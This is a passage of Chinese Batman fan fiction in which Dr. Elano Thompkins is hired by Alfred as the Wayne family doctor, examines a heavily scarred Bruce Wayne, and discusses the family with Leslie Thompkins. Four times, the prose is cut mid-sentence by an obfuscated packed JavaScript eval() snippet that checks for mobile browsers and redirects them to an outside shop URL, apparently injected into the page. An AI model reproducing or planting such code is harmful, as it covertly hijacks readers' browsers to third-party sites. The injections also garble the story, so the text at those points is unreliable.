“协调与转诊,”埃拉诺答得流畅,“我的角色是首诊评估、初步处理、判断严重程度,并联络最合适的专科团队。确保患者在最安全最快速的情况下,进入下一级医疗流程。同时,在术后负责监督康复计划执行,与医院团队沟通,扮演患者与高级医疗之间的桥梁。” 这几乎是标准答案,她在波特兰为一些富裕家庭做兼职顾问时干过类似的事。 考虑到韦恩受伤的实际地点,埃拉诺觉得“协调与转诊”几乎不可能发生,之前在邮件沟通时潘尼沃斯没有说过需要全球到处飞。 既然如此,埃拉诺·汤普金斯医生就不可能出现在北欧的某一处峡湾或是南美的某一处雨林为韦恩先生进行首诊。 实际工作应该是以制定康复计划和与专业医疗团队沟通为主。 埃拉诺拿起一块烟熏三文鱼手指三明治,咬了一口,趁此机会整理思绪。 面试官准备了茶点,一口不动是不礼貌的,但是在边吃边回答问题也是不礼貌的。因此,埃拉诺趁着两个问题之间的间隙,只在本来就不大的手指三明治上咬了更小的一口。 如果下一个问题来得很快,她实际上可以一口吞下去。 但潘尼沃斯先生很体贴地留足了咀嚼的时间,手指三明治味道好得让她想叹气——连莳萝的量和奶油奶酪的咸度都完美。 然后是下一个问题。 “如果,家庭成员对寻求外部医疗帮助……有所抵触呢?”阿尔弗雷德放下茶杯,“例如,某位年轻人认为一点小伤无需惊动医院。” “抵触情绪通常源于对医疗过程的不安,对暴露脆弱的抗拒,或者单纯怕麻烦,作为家庭医生,我需要建立信任,让他们理解治疗的必要性,而非强行命令。如果伤势确实可以在家安全处理,我会提供方案;如果必须去医院,我会清晰解释风险,并尽可能简化流程,比如联系熟悉的医生,安排私人病房,减少他们在陌生环境中的不适。” 她抬眼看向阿尔弗雷德:“当然,这一切的前提是,我的医疗判断必须准确。我不会为了迁就情绪而低估风险。这是底线。日常疾病和轻微的意外伤害属于家庭医生的处理范畴,但更严重的情况应该让专业的医疗团队来处理。” “很清晰的界限感。那么,关于保密性……” 阿尔弗雷德·潘尼沃斯适时地停住,示意埃拉诺接上。 “医疗保密是职业道德与法律的基石,”埃拉诺立刻回答,“未经患者明确同意,我不会向任何人透露诊疗细节,包括其他家庭成员。除非涉及法律规定的特殊情况,如对自身或他人构成明确危险。即使是雇主询问,我也只会提供‘健康状况是否适合进行某项活动’的总体评估,而非具体病历。韦恩先生作为雇主,有权知道他的医生是否称职,但无权知道他的孩子们和我聊了什么头疼或失眠。这是我的原则。” 房间里安静了几秒,只有远处隐约传来的钟摆声。 埃拉诺确定自己的心跳很平稳,但她不能确定韦恩的管家是否对这个回答满意。 韦恩和韦恩小孩——这关系想想就难以处理,富豪和富豪的孩子们,成年的,未成年的,住在庄园里的,住在庄园外的,收养的,亲生的,活的,还有死的。 阿尔弗雷德缓缓靠回沙发背,目光依旧落在埃拉诺脸上。 “最后一个问题,汤普金斯医生,”他说,声音比刚才更温和了一点,“您如何看待……工作与个人生活的平衡?这份工作可能需要在非工作时间响应需求,也可能让您接触到一些……超出常规家庭医生范畴的状况。您是否有足够的心理准备,确保这不会过度影响您个人的生活与……其他重要职责?” 他意有所指地停顿了一下。 埃拉诺瞬间明白,“其他重要职责”指的是公园街的诊所和莱斯利医生。 她放下咖啡杯,坐得笔直,这是她今天最认真,也最坦诚的回答。 “潘尼沃斯先生,我回到哥谭,就是为了平衡,”她清晰地说,“韦恩家庭医生的职位,提供的高薪和相对弹性的时间,恰恰能让我在保障个人专业发展与经济安全的同时,有充足精力去经营公园街的诊所,支持我的母亲。这是一份理想的工作,因为它能支撑我另一份理想的工作。” 她略微前倾,目光灼灼:“至于非工作时间响应或超常规状况——我在犯罪巷长大,在莱斯利的诊所帮忙。我习惯了夜晚的门铃,习惯了处理不便声张的伤情,也习惯了在需要时立刻切换到医生角色。这对我而言,并非不可承受的负担,而是……生活的一部分。只要沟通顺畅,尊重彼此的时间界限,我相信可以处理好。” 她说完,静静等待。 是不是太直白了? 是不是显得太功利了? ——嘿我只是想要拿到富豪的钱然后在贫民窟里做义诊 虽然包装了话术,但埃拉诺表达的依然是真实想法,她不想伪装。 阿尔弗雷德沉默了片刻。然后,他站了起来。 埃拉诺的心微微一沉,也连忙起身。 “汤普金斯医生,”阿尔弗雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153951|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德开口,脸上是她进门以来第一个清晰可辨的温和笑容,“感谢您今天的时间,以及您坦诚而专业的回答。” 他走到一旁的书桌边,拿起一个早已准备好的质感厚重的文件夹。 “基于莱斯利医生的推荐,您过往出色的履历,以及我们今天愉快的交谈,韦恩家族很乐意正式向您发出聘约。”他将文件夹递给埃拉诺,“里面是详细的合同条款,薪酬构成,福利说明,以及一份需要您签署的补充保密协议——内容与您刚才阐述的原则基本一致,只是更具体化。请您过目。” 埃拉诺接过文件夹,指尖触及光洁的皮革封面,感觉有点不真实。 这就……成了? 没有刁钻的医学难题,没有诡异的心理测试,甚至没有见到布鲁斯·韦恩本人? 哦,见不到布鲁斯·韦恩本人是意料之内的。 毕竟韦恩先生此刻应该因为头部外伤卧床休息。 “您……不需要再与韦恩先生确认一下吗?”她忍不住问。 阿尔弗雷德的笑容加深了些许,眼角的纹路显得格外优雅。“韦恩老爷全权委托我处理此事。事实上,他唯一的要求是找个能让达米安少翻白眼的医生。鉴于您对青少年心理学的准备,以及……您昨天对罗宾那种不容置疑的专业态度,我认为您很有希望达成这个目标。” 埃拉诺眨了眨眼。 信息量有点大。 达米安·韦恩的名字再次和罗宾并列。 严谨地对待罗宾,当然意味着她会同样严谨地对待达米安。 可是为什么提到罗宾?她的简历上有更多具有说服力的证据,而潘尼沃斯没有采用那些,他只说了罗宾。 …… 奇怪。 她把所有翻涌的疑问摁下去,化为一个得体的微笑。 “我会尽力不让他翻白眼,潘尼沃斯先生。或者至少,翻白眼的时候不要拉伤面部肌肉。” “很好的心态。那么,您何时可以开始?韦恩老爷目前正在静养,但一些基础的健康档案整理和庄园常备药品清点,可以先行开始。” “明天就可以,”埃拉诺立刻说,随即又谨慎地补充,“如果合同条款没问题的话。” “请带回去仔细阅读,有任何疑问随时联系我。签署后,明天上午九点,会有车到公园街接您。”阿尔弗雷德递上一张简洁的名片,“这是我的直接联系方式。” “谢谢您,潘尼沃斯先生。”埃拉诺将文件夹和名片小心收进公文包。 “叫我阿尔弗雷德就好,埃拉诺医生,”老管家温和地说,送她走向门口,“期待与您共事。哦,剩下的柠檬挞和司康饼已经为您打包好了,带回去与莱斯利医生分享吧。她应该会为您高兴。” 埃拉诺再次道谢,提着精致的手提袋走出韦恩庄园大门时,夕阳正好为厚重的云层镶上金边。叫的出租车已经在等候。 坐进车里,她回头看了一眼暮色中轮廓渐深的庄园主宅,然后深吸一口气,打开了那个文件夹。 直接翻到薪酬的那一页。 盯着那个数字看了整整十秒。 然后,她拿出手机,给莱斯利医生发信息。手指因为激动有点抖。 【妈。合同签了。明天开始上班。另外,我们可能需要再雇一个护士了,诊所预约可以排满。还有,晚上想吃牛排庆祝,我请客。】 5. 韦恩庄园!!!我来啦!!! 第二天早上八点五十分,一辆低调但显然不便宜的黑色轿车准时停在了公园街诊所门口。 埃拉诺已经等在门内,手里提着两个包:一个装着笔记本电脑,听诊器,血压计等基础诊疗工具的医生包。 韦恩庄园肯定会提供设备,但保险起见,埃拉诺还是带上了自己的一份。 另一个装着平板电脑,笔记本,笔,以及她连夜研读合同时列出的十七个问题,删删改改最终决定只问三个。 莱斯利医生从诊疗室探出头来。 “第一天,放轻松。记得喝水,别被庄园里那些装饰性盔甲绊倒——阿尔弗雷德肯定都收拾好了,但万一呢。” “我会的,妈。”埃拉诺抱了抱母亲。 “记得呼吸。” 莱斯利医生一本正经地说。 “哦,妈妈,我会记得呼吸,并且让庄园里的所有人保持呼吸顺畅的。” 埃拉诺回之以同样的一本正经,然后她忍不住笑出来,轻声说了句“再见”,拿好自己的包,出门上车。 她和司机简单寒暄了一下,确定他就是潘尼沃斯先生雇佣的司机,而且神志清醒,没有被控制的迹象,然后放心上了车。 看起来,这辆车的确是载着她去韦恩庄园,而不是某个爆炸案现场的。 接着,她收到了潘尼沃斯先生的消息,是一份工作时间表。 9:30-10:00 确认日常流程并且熟悉庄园医疗室 10:00-10:30 与韦恩老爷见面,并且进行体格检查 (如果他醒着并且愿意配合) 10:30-11:30 庄园常备药品库整理与清单核对 11:30-12:00 自由时间/问题解答 12:00-13:00 午餐 (厨房将根据您的饮食偏好准备,或者您可以选择离开庄园自行用餐) 下午没有安排,埃拉诺可以回家,或者留在自己在庄园的办公室。 她当然更青睐回家这个选项。 埃拉诺盯着“如果他醒着”这几个字,挑了挑眉。 听起来,布鲁斯·韦恩的术后状态可能比新闻报道的更严重一些。上午十点是一个睡懒觉的时间,但埃拉诺不会简单地认为布鲁斯·韦恩会像个赖床的孩子一样喊着“再睡五分钟”,接着又睡了无数的五分钟。 但愿这不是某种不健康的嗜睡。 一路顺利,没有发生任何意外情况,今天用不着从大门走到主宅门前了。 车一直开到韦恩大宅的门前。 埃拉诺下车,看到潘尼沃斯先生——依然是完美的黑色西装三件套。 “埃拉诺医生,欢迎,”阿尔弗雷德微微欠身,“看来您准时抵达了,请随我来。” “我们首先前往医疗室,”阿尔弗雷德边走边介绍,步伐不疾不徐,“它位于东翼一层,毗邻健身房和室内泳池,方便应对……突发性运动损伤。虽然我希望这类需求越少越好。” 他的语气里带着一丝管家对主人爱好的含蓄不赞同。 医疗室比埃拉诺预想的更专业,设备更齐全。它不像家庭诊所,更像一个小型私人医院的门诊部。 “韦恩集团医疗部门定期更新设备和药品清单,”阿尔弗雷德打开一台平板电脑,调出界面,“您有最高权限访问这个系统。所有药品的入库和取用都有电子记录,但我建议您今天亲自核对一遍实物。” 埃拉诺点点头:“好的。” 她还从来没有在这么清静的环境工作过。 切尔西综合医院总是很忙,到处都挤满了病人。前天去面试的哥谭综合医院也是一样,埃拉诺觉得所有的大型医院恐怕都是这样。 至于说家里的诊所,忙起来的时候也是一样,不过白天还好——白天需要抢救的人少,都是一般的小伤小病。 “急救呼叫系统在这里,”他指向墙上一个醒目的红色按钮,“按下后,会直接连通庄园内部主通讯频道和我本人的通讯器。” “好的。” 埃拉诺环顾四周,内心评估着。 设备顶级,流程清晰,只是……太新了,缺乏使用痕迹。 要么是极少动用,要么是维护得过分精心。她倾向于前者——希望是前者。 “非常完善,”她评价道,走到检查床边,顺手摸了摸铺着的干净床单,“现在,关于韦恩先生的检查……” 阿尔弗雷德看了一眼腕表:“九点五十五分。老爷应该已经醒了。不过,他今早的合作意愿可能……波动较大。您可能需要一点耐心和策略。” “波动较大?”埃拉诺挑起眉,脑海里迅速闪过脑外伤后可能出现的情绪易激惹,认知障碍或意识模糊等症状。 “更准确地说,是对于‘被当作病人’这件事,有着根深蒂固的,孩子般的抵触。”阿尔弗雷德的用词很委婉,但眼神透露了更多,“尤其是当他认为自己‘感觉良好’的时候。” 懂了。 一个典型的,自我感觉过度良好的患者,叠加富豪的任性和可能存在的颅脑损伤。 “我明白了。请带路吧。” 埃拉诺本来以为会在另一间会客室见到布鲁斯·韦恩,直到潘尼沃斯先生敲门的时候,她依然是这么想的,直到推开门。 房间宽敞得惊人,光线被遮光窗帘遮得严严实实,视野一下子暗了下来。埃拉诺闭上眼,给眼睛一点适应时间。 再次睁开眼睛的时候,她看见了靠坐在床上的布鲁斯·韦恩。 考虑到他的身体状态,这张卧室的床显然就是病床了。埃拉诺心态调整得很快,现在不仅是面对雇主,也是在查房。 医生的新病人半坐半靠在床头,蓝眼睛在黑暗中很明显。他穿着睡衣,哦,睡衣没有什么大不了的,就算是他穿着蝙蝠侠cos服也没有什么。 病人就该在病床上。 “老爷,这位是埃拉诺·汤普金斯医生,您的新任家庭医生,”阿尔弗雷德声音平稳,“医生,这位是布鲁斯·韦恩老爷。” “韦恩先生,您好,”埃拉诺走上前,保持着一个礼貌而专业的距离,“希望没有打扰您休息。根据安排,我今天需要为您做一次初步的体格检查,建立基础健康档案。这有助于我了解您的身体状况,以便日后更好地为您服务。” 阿尔弗雷德:“现在,老爷,如果您允许的话,我要拉开窗帘了。” 布鲁斯:“当然。拉开吧。” 大概是潘尼沃斯按了哪一个按钮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太标准了,标准得不像一个刚从头部外伤中恢复,并且精神状态波动的人。 潘尼沃斯说他有精神波动,但韦恩的状态看起来很好。 这是矛盾的。 当她拿出听诊器,示意他解开睡衣上衣前扣时,布鲁斯明显僵了一下。 “心肺听诊,韦恩先生。请放松,正常呼吸即可。”埃拉诺语气专业,不容置疑。 布鲁斯慢吞吞地解开几颗扣子。随着衣襟敞开,埃拉诺的视线不可避免地扫过他的胸腹区域。 然后,她的动作顿了一下。 皮肤上有疤痕。 不止一处。 有些很旧,颜色浅淡,像是多年以前的;有些较新,位置……不太像常规运动意外能造成的。 有一道长长的、已经愈合的痕迹沿着肋缘走行,还有几处点状或小片状的陈旧性瘢痕。以她的专业眼光看,那更像是…… 尖锐器械伤。 某种穿刺伤。 甚至有一处形状奇特的浅表灼伤痕迹。 埃拉诺面不改色,仿佛没看见任何异常。她将听诊器胸件贴上他心前区,冰凉的温度让布鲁斯轻微抽了口气。 “抱歉。”她低声道,专心倾听。 心律齐,心率稍缓但仍在正常范围。呼吸音清晰。体格检查本身没有明显异常——除了那些触目惊心的旧伤疤。 6. 进行光合作用的蝙蝠 按理说,像布鲁斯·韦恩这样的富豪,应该有一个周全的医疗团队。健康档案也应该早就建立,而不是自己从零开始。 这不合逻辑。 布鲁斯·韦恩的健康档案要从零开始,韦恩小孩们的健康档案也要从零开始。 德雷克……该隐……小韦恩……格雷森……哦,还有生死不明的陶德。 按照常理说,潘尼沃斯先生应该主动提供韦恩先生的病历,和之前的专业医疗团队的联系方式。 起码,她应该知道那次开颅手术是怎么做的,在哪里做的。 托马斯·韦恩纪念诊所? 哥谭综合医院? 不,不可能是哥谭,新闻报道说韦恩昨天才刚刚回哥谭。 所以是在澳大利亚做的手术? 是澳大利亚本地的医疗团队? 那样的话,也应该把病历给她,便于后续的康复护理计划制定。 体格检查是没有问题的。完全符合一个恢复良好的开颅手术术后患者的状态,除了恢复得过于良好,埃拉诺没有发现任何异常。 但哥谭首富,还是布鲁斯·韦恩这样的极限运动爱好者,他的病历根本就不可能是空白一片,光是这一次头部外伤的病历就该有厚厚一摞了。 考虑到韦恩先生因为极限运动受伤登上新闻的频率,他的体检报告,影像学检查和病历,应该厚到和她一样高。 但是没有。 什么都没有。 健康档案要从零开始。 “这就是像是要给一个声称从来没有吃过饭的人制定饮食计划,见鬼,韦恩难道是靠光合作用长大的吗?理论上来说,他的健康档案应该能从0天一直追查到现在。” 埃拉诺不相信托马斯·韦恩会不给自己的儿子请专业儿科医生来监护健康——或者自己亲自来做,已故的老韦恩先生自己就是医生。 好吧,儿童时期的医疗档案其实不一定需要,但起码应该让她知道韦恩在成年后的手术史——再退一步,近十年的手术史。 埃拉诺靠在转椅的椅背上,她刚刚做完这份档案。 依据是在布鲁斯·韦恩卧室花半个小时完成的问诊和体格检查,没有任何影像学检查资料可以供她看,没有任何既往病史可以看。 “……” 看得出来韦恩先生对自己的健康并不是很上心了。 还是去问问吧。 虽然争取这份工作只是为了赚钱经营诊所,但医生的道德不允许埃拉诺对韦恩先生身上那么多的潜在问题视而不见。 十一点半,日程表上的自由问答时间。 埃拉诺现在相信潘尼沃斯先生安排“自由问答”的必要性了。 “药品库已经核对完毕,记录与实物完全一致,您的管理非常出色,”她汇报工作进展,然后貌似随意地问,“另外,关于韦恩先生的既往病历,尤其是这次头部外伤在澳大利亚的诊疗记录,不知方不方便提供给我参考?这对我制定他接下来的康复计划很重要。” 她看着阿尔弗雷德的眼睛,问得很直接,语气是纯粹的职业关切。 “关于这一点,我很抱歉,埃拉诺医生,”管家流露出恰到好处的歉意,“韦恩老爷在海外处理私人事务时,偏好使用当地临时的、签署了严格保密协议的医疗团队。诊疗结束后,所有纸质和电子记录会按协议销毁。老爷认为,过于冗长的医疗史记录有时… 会带来不必要的关注和麻烦。他倾向于让每位新任医生从一个清晰的、当前的状态开始评估。” 他停顿一下,补充道:“当然,如果您在检查中发现任何需要追溯的疑点,我可以尝试联系当时的团队负责人,进行有限度的口头咨询。但这通常需要一些时间。” 滴水不漏。 注重隐私和怕麻烦这个解释符合布鲁斯·韦恩花花公子的公众形象。提供了口头咨询这个解决方案,但设置了障碍。 既没有完全拒绝,也没有给出实质信息。 埃拉诺脸上露出理解的笑容。 “我明白了,谢谢您告知。那么,我就专注于当前的临床评估和未来的预防计划。”她从善如流,“接下来是自由提问时间,我确实有几个小问题。” “请讲。” 阿尔弗雷德做出倾听的姿态。 “首先,关于家庭成员们的常规疫苗接种记录,尤其是未成年成员。学校或日常活动可能需要这些证明。” “提姆少爷,卡珊德拉小姐和达米安少爷的相关记录在我这里,我已整理成摘要,稍后发送给您。” 回答迅速,准备充分。 “其次,庄园内是否有其他成员有需要定期服用的药物,或者已知的过敏史?我需要更新急救预案。” “布鲁斯老爷,达米安少爷和卡珊德拉小姐无已知药物过敏。提摩西少爷咖啡因摄入需适度,否则易引发心律失常——这更多是生活习惯提醒。迪克少爷和杰森少爷……” 阿尔弗雷德说到这里,极其自然地略作停顿,“……目前不常驻庄园,他们的最新健康状况,我建议您在他们到访时直接询问。” 杰森少爷。 他用了“少爷”,并且将其与迪克并列,语气平常得像在谈论任何一位家庭成员。 没有提及死亡,失踪或任何异常状态。 棒极了,现在埃拉诺可以确定杰森是活着的了。 啊,还有一个小问题,关于“迪克”,埃拉诺猜想“迪克”应该是理查德·格雷森,但她需要确认。 “请问迪克少爷是……” “是理查德少爷,理查德·格雷森,他习惯于我们叫他迪克。” 确认完毕。 埃拉诺点点头,将“理查德=迪克=格雷森”这个信息在心中归档。 这个名字让埃拉诺想到妈妈做开颅手术时的护士。但韦恩的养子不可能去跑到犯罪巷的小诊所帮助一个医生去做一台不符合规格的手术。 就算是布鲁斯·韦恩这样的慈善家都不可能。 “我了解了。谢谢您,阿尔弗雷德。”她用了对方许可的称呼,感觉更自然些,“第三个问题,可能有点超出纯医疗范畴,但我觉得有必要了解。” 阿尔弗雷德点了点头,示意她继续。 “庄园的居住成员,包括偶尔到访的,是否有需要特别关注的心理健康支持需求?我不是心理医生,但作为家庭医生,我需要知道是否存在已知的创伤后应激障碍,焦虑症,抑郁症等诊断,或者哪怕只是高压力生活环境带来的潜在风险。这有助于我整体评估他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153953|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健康状况,并在必要时,以最恰当的方式建议或转介专业心理服务。” 她问得非常小心,用词专业且充满关怀。 每个孩子都伴随着悲剧而来,埃拉诺看过新闻,因此她必须站在预防医学的角度来说。 心理疾病的躯体化症状同样需要纳入考量。她得问这个问题。 阿尔弗雷德沉默的时间比前两个问题略长了几秒。 “这是一个非常重要且体贴的问题,医生。”他最终开口,“概括而言,韦恩庄园的每一位成员,都经历过足以塑造性格的重大人生事件。他们各自发展出了……独特的应对机制和韧性。” 他选择着词汇,如同在雷区中精确地放置脚步。 “布鲁斯老爷在父母去世后,有相当长一段时间的适应期,但就我所知,他从未被正式诊断为任何相关心理障碍。他更倾向于将精力投入到……广泛的活动中。” 这个描述让埃拉诺想起那些伤疤和极限运动新闻。 “至于年轻一代,迪克少爷热爱工作和生活,适应力强;杰森少爷……经历复杂,但意志坚韧;提姆少爷善于分析,尽管有时会过度透支;卡珊德拉小姐沟通方式独特,但内心稳定;达米安少爷……”阿尔弗雷德难得地出现了一个极其微妙的停顿,“……正在学习以更社会化的方式处理他的……强烈个性与高标准。” 韦恩把孩子们的隐私都保护得很好,埃拉诺没怎么在新闻上看见过他们,因此,她也不能很好地把这些婉转的词汇与真实情况对应起来。 但也许不必对应起来。 富豪们注重隐私。 埃拉诺想。 也许,他们并不是真的需要一个家庭医生。 她百分之一百确定这不是一个正常的富豪家庭。在切尔西综合医院的时候埃拉诺接诊过走VIP通道的病人,同样是富豪,同样是社会名流。 他们的家庭医生又在哪里? 显而易见,家庭医生的意见是无足轻重的。 当真正的疾病发生时,富豪们走加急通道让一所顶尖医院的顶尖医生给自己看病。 这里不是医学的巅峰。 韦恩庄园有手术室,能够完成一些简单的门诊手术,但埃拉诺有点怀疑这种手术室是否真的会派上用场。 她有双很好的手。 灵巧敏捷。 这双手应该用来做手术。 就像是韦恩先生在澳大利亚的医疗团队那样,用来做复杂的高难度的手术。 但给韦恩先生当家庭医生可以得到更高的报酬,更多的空闲时间,于是犯罪巷的诊所可以多维持一段时间,可以救更多的人。 而且最重要的一点,在诊所,可以给蝙蝠侠治疗。 那可是蝙蝠侠! 而韦恩先生是蝙蝠侠的资助人。 自己白天为韦恩先生服务,四舍五入,就相当于一半为蝙蝠侠服务。 自己晚上和莱斯利医生一起为蝙蝠侠提供医疗保障,四舍五入,又一半在给蝙蝠侠服务。 所以埃拉诺医生的真正的顶头上司是蝙蝠侠! 那可比平常医院的院长或者一般的富豪强多了。 “谢谢,我知道了。” 埃拉诺礼貌地对管家说。 7. 夜班!!!我来啦!!! 司机把埃拉诺送回公园街的诊所时,时间还很早,这样,她就可以换下来莱斯利医生,让她在下午时休息一下,以便有更充足的精力应付晚上的夜班。 晚上,护士要下班的。 留在诊所的只有莱斯利和埃拉诺,而在之前大多数时候,莱斯利医生都会把埃拉诺——当时还是个孩子,还是个青少年的埃拉诺赶到二楼睡觉。 上大学后埃拉诺开始陪妈妈一起值夜班,但她要忙着做志愿做科研,待在哥谭的时间也没有多久。 所以,埃拉诺还从来没有独立值过一次莱斯利医生诊所的夜班。 而今天…… 今天也不是她一个人值班。 就和以前在假期里回来一样,是和妈妈一起。在不多的几次夜班里都很平静,没有蝙蝠侠,没有罗宾,也没有哥谭的其他义警们。 仿佛十多年的那个夜晚只是一个梦,但埃拉诺清清楚楚记得蝙蝠侠从万能腰带里拿出来的蝙蝠糖,还记得罗宾过于活泼的一百遍“你一定要保密”。 “你知道我最爱我们的诊所哪一点吗,妈?” 送走下午的最后一位病人——一个有关节炎的老人,埃拉诺起身洗手。 “因为我们会接诊蝙蝠侠?”莱斯利医生从楼上一边走下来一边用开玩笑的语气说,“我知道你一直很崇拜蝙蝠侠。但我们最好祈祷他不要受伤。” 莱斯利下午被埃拉诺堵在二楼小睡了一会,埃拉诺不能接受妈妈白天晚上不眠不休地工作,就算诊所的夜班不需要一直醒着,总是被打断的睡眠对一位老人来说也是负担了。 埃拉诺往手上挤消毒洗手液,然后搓开泡沫,手心里的泡沫很快变成又白又轻的一蓬。 “我最喜欢的我可以给刚才那个病人开抗生素而不是一开口就是1000毫升强效泰诺。” 埃拉诺说完那句话,莱斯利医生站在楼梯上,静静地看了女儿几秒。外面已经全黑了,没有路灯,但诊所里的灯开到最大。 “这也是我最爱这个诊所的一点,”莱斯利终于开口,声音温和,“能开对的药,而不是只能开方便的药。” 她走下最后几级台阶,来到洗手池旁,也挤了些洗手液。母女俩并排站着,四只手在流动的温水下搓出相似的,带着消毒水气味的泡沫。 一楼是诊所,二楼是她们的生活区,埃拉诺洗完手擦干,忍不住笑出来。 “妈,你干嘛要下来呢?我们的厨房在楼上,我们要在二楼做饭,在二楼吃饭。你根本没必要下来洗手。” 埃拉诺看到水流从洗手池的边缘飞溅出来,星星点点地沾在白大褂上,然后她擦干净手,把白大褂挂在楼下,准备上去。 “天啊,妈妈,你不会以为自己是要下楼开始下午的工作吧——告诉我现在是几点。” 年轻的医生故意很夸张地说。 莱斯利笑了笑。 “因为我想想看一下你的工作怎么样,看起来今天下午的接诊已经结束了——” 埃拉诺打断她。 “妈,告诉我现在是几点?” “六点钟,下午六点,东部时间六点,埃拉诺。” 莱斯利医生显然明白了她的意图。 “棒极了。” 满意了。 确认了莱斯利·汤普金斯医生没有老年痴呆的前兆。说真的,埃拉诺怀疑切尔西综合医院的韦恩医生——不是哥谭的韦恩,只是恰巧同姓——就已经老年痴呆了,或者是有别的什么脑病,胡顿主任在311会议上把他请到了台前……至于说结果,不说也罢。 学生包庇老师。 很正常。 埃拉诺确信胡顿主任已经质询问题提前交给韦恩医生了。 她知道自己在干什么。 再看一眼,很好,莱斯利医生的面部很对称,至少,埃拉诺没有看到任何值得称为“卒中前兆”的症状。 母女再次上楼,一起去准备晚餐。 晚餐是简单的意面,肉酱是提前熬好的,十分钟后,煮好的意大利面上淋上一勺番茄肉酱,开饭。 埃拉诺一边卷着面条,一边斟酌着开口。 “韦恩先生今天表现得……像个模范病人。”她选了个安全的开头。 保密协议允许她向莱斯利医生透露这些。 这门看没准妈妈能够告诉自己更多一点事情,她和韦恩的交情看起来不止是犯罪巷的慈善诊所。 莱斯利抬眼看了看她,没说话,只是轻轻扬了扬眉毛。 “几乎太模范了。”埃拉诺补充道,用叉子戳起一颗橄榄,“神经系统筛查的反应精准得像教科书。血压和心率都在理想区间。对于一个声称一周前刚做过开颅手术的人而言,他的康复速度快得不科学。我看了他的伤口,恢复良好。” “有些人就是恢复得快。” 莱斯利平静地说。 “潘尼沃斯先生提到,韦恩先生喜欢在海外用临时医疗团队,结束后销毁所有记录。”埃拉诺放下叉子,看着母亲,“你听说过这种做法吗?” 哥谭正在暗下来,埃拉诺看了看黑洞洞的窗外,她已经习惯了不亮的路灯,昨天它还是亮着的,大概是今天凌晨的时候被打破了。 “有些病人,”莱斯利慢慢地说,用餐巾擦了擦嘴角,“确实非常注重隐私。尤其是当他们的健康状况可能影响股价,舆论,或者……其他更敏感的事务时。” 埃拉诺点点头。 这个解释成立,但显然不是全部。 “我看见了伤疤,妈,”她轻声说,“很多。旧的,新的,各种形状的。不是冲浪板或者滑雪板能造成的。” 莱斯利医生的手停顿了一下。 而埃拉诺格外关注了这种停顿,确认这只是单纯的动作停顿,而不是一过性脑缺血发作导致的无法控制肢体。 然后,莱斯利医生的手顿了更久的时间。她注意到了。 “埃拉诺,你在看什么?” “看你的右脑是不是还能控制左手。” “不,埃拉诺,我的右脑可以控制我的左手,我让叉子从手里掉下来只是为了表现我的惊讶。” “哦,”埃拉诺干巴巴地说,“我想小心一点总是没错的,你太累了,而且你也老了,妈。” …… “埃拉诺,”莱斯利跳过自己的话题,“在这个城市,人们受伤的原因远比新闻报道的复杂。作为医生,我们的职责是治疗伤口,而不是审判伤口的来历。” “我知道。”埃拉诺立刻说,“我没问任何问题。只是……做了记录。” 莱斯利的表情柔和下来。 “你做得对,”她顿了顿,“阿尔弗雷德还说什么了?” “他给了我孩子们的疫苗接种记录,提到了过敏史。哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153954|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还确认了杰森·陶德是活着的——潘尼沃斯用‘杰森少爷’这个称呼。” 她继续吃饭,同时注视莱斯利医生拿起叉子。 “埃拉诺,我想,即使是死的杰森,也可以被称作杰森少爷。” 年长的医生慢条斯理地说。 “哦,不会的,”埃拉诺很有信心,“我听出来潘尼沃斯先生说话的语气肯定是指的‘活的杰森少爷’而不是‘死的杰森少爷’。” “唉,”莱斯利叹了口气,“杰森当然是活着的。” “所以你也知道?”埃拉诺追问。 虽然她早就猜到了答案。 “我知道很多事情,亲爱的。”莱斯利没有直接回答,“但大多数时候,知道和说出来是两回事。如果你对于韦恩一家还有什么问题,嗯,可以来问我,我的医学院同学是托马斯·韦恩。事实上,在布鲁斯年轻的时候,我也照顾过他一段时间。” 猜出来了。 但埃拉诺还是很配合地哇了一声。 “所以,”她咽下食物,语气尽量显得随意,“你和韦恩家的交情,比我想象的还要深。” “哥谭很小,埃拉诺。”莱斯利重新拿起叉子,动作恢复了之前的平稳,“尤其是在某些圈层里。托马斯和玛莎是很好的人,他们留下的……不止是财富。而布鲁斯……” 埃拉诺没让妈妈把这句话说完。 “我明白了,”她说,“我会专注于我能做的部分。建立档案,监测健康状况,处理我能处理的伤病,并在必要时……” 她抬眼看了看母亲。 